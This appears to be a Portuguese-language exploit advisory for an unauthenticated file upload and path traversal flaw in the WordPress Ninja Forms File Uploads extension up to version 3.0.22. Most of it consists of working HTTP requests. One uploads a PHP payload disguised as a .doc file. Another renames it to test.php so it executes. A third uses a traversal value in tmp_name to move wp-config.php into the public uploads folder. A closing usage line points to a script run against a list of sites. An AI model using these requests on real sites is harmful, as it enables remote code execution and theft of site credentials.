
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Upload Arbitrário de Arquivos sem Autenticação
(Wordpress) Ninja Forms File Uploads Extension <= 3.0.22 – Upload Arbitrário de Arquivo Não Autenticado
Path Traversal e Upload Irrestrito de Arquivos existem no plugin Ninja Forms antes da versão 3.0.23 para WordPress (quando o add-on Uploads está ativado). Isso permite que um invasor percorra o sistema de arquivos para acessar arquivos e executar código por meio dos parâmetros name e tmp_name em includes/fields/upload.php (também conhecida como página upload/submit).
Solicitação inicial de upload de arquivo:
Host: testserver.com
Content-Type: multipart/form-data; boundary=---------------------------16345274557837
Content-Length: 522
-----------------------------16345274557837
Content-Disposition: form-data; name="form_id"
1
-----------------------------16345274557837
Content-Disposition: form-data; name="field_id"
5
-----------------------------16345274557837
Content-Disposition: form-data; name="nonce"
0f3a997174
-----------------------------16345274557837
Content-Disposition: form-data; name="files"; filename="test.png.doc"
Content-Type: application/msword
<?php phpinfo(); ?>
-----------------------------16345274557837--
Resposta:
HTTP/1.1 200 OK
Server: nginx/1.14.0
"data":{
"files":[
{
"name":"test.png.doc",
"type":"application\/msword",
"tmp_name":"nftmp-14FpD-test.png.doc",
"error":0,
"size":19
}
]
}
Quando o formulário é enviado, o arquivo tmp inicialmente carregado é movido para um novo local:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.(php)",
"tmp_name":"nftmp-BNxfG-test.png.doc",
"fieldID":5
}
]
--snip--
O parâmetro “name” é então “sanitizado” pela função do WordPress sanitize_file_name, que essencialmente apenas remove um conjunto de caracteres especiais predefinidos:
ninja-forms-uploads/includes/fields/upload.php:124
$file_name = sanitize_file_name(basename($target_file));
sanitize_file_name
Removes special characters that are illegal in filenames
on certain operating systems and special characters
requiring special escaping to manipulate at the command line.
Replaces spaces and consecutive dashes with a single dash.
Trims period, dash and underscore from beginning and end of filename.
It is not guaranteed that this function will return a filename
that is allowed to be uploaded.
https://developer.wordpress.org/reference/functions/sanitize_file_name/
Isso resulta na movimentação do arquivo tmp para seu local final: /wp-content/uploads/ninja-forms/1/test.php
Se a pasta de upload não foi explicitamente tornada não executável, o que não é o caso por padrão, isso resulta em execução de código:

Path Traversal em tmp_name:
ao enviar o formulário, também é possível percorrer o sistema de arquivos por meio do parâmetro tmp_name, como mostrado abaixo. Tenha em mente que os arquivos tmp são movidos para seu novo local dentro da pasta uploads!
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: testserver.com
Content-Length: 6850
--snip--
"5":{
"value":1,
"id":5,
"files":[
{
"name":"test.doc",
"tmp_name":"../../../../wp-config.php",
"fieldID":5
}
]
--snip--
Isso resulta na movimentação do arquivo wp-config.php para o seguinte local: /wp-content/uploads/ninja-forms/1/test.doc
USAGE: python script.py list-site.txt